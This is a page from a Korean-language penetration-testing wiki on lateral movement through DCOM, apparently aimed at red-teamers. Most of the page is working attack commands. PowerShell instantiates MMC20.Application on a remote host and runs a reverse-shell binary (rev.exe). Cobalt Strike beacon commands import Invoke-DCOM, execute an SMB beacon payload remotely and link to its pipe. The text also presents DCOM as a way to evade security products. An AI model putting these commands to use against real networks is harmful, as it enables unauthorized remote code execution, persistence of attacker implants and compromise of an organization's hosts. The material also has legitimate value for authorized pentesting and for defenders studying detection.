펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page

Was this helpful?

Export as PDF
  1. 측면 이동

DCOM

PreviousWMINextRDP

Last updated 1 month ago

Was this helpful?

Distributed Component Object Model은 PowerShell 환경에서 사용할 수 있는 Windows의 내장 기능이기 때문에 솔루션 탐지를 피할 수 있는 측면이동의 방법으로 사용되는 기능입니다.

DCOM은 네트워크 패킷을 통해서 로컬에서 명령을 내리는 것과 같이 원격 명령 실행이 가능한데, 패킷을 전송하는 프로토콜이 RPC이며, Windows에서 기본적으로 제공하는 프로토콜인 135번 msrpc를 이용합니다. 따라서 135번 포트가 양측 모두 활성화 되어있는 상태에서 DCOM을 이용할 수 있습니다.

# ProgID 값 구하기
Get-ChildItem 'registry::HKCR\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

# COM 객체 생성
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1",<IP>))

# 원격 명령 실행
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c C:\Windows\Temp\rev.exe","7")

코발트 스트라이크에서는 DCOM과 상호작용하는 내장 기능을 제공하지 않기 때문에 외부 라이브러리를 통해 측면 이동을 수행해야 합니다.

# 클라이언트에 있는 라이브러리를 비콘에 임포트
beacon> powershell-import C:\Tools\Invoke-DCOM.ps1

# DCOM을 통해 원격에서 페이로드 실행 명령
beacon> powershell Invoke-DCOM -ComputerName web.dev.pentesting.wiki -Method MMC20.Application -Command C:\Windows\smb_x64.exe

# 타겟 시스템에서 열린 파이프에 접근하여 비콘 연결
beacon> link web.dev.cyberbotic.io <SMB Pipename>

여기서 SMB Pipe 이름은 SMB 리스너를 생성할 때 Pipename으로 설정한 값입니다.

References

https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/refs/heads/master/Invoke-DCOM.ps1
Lateral Movement via DCOMRed Teaming Experiments
SMB Pipename 확인
Logo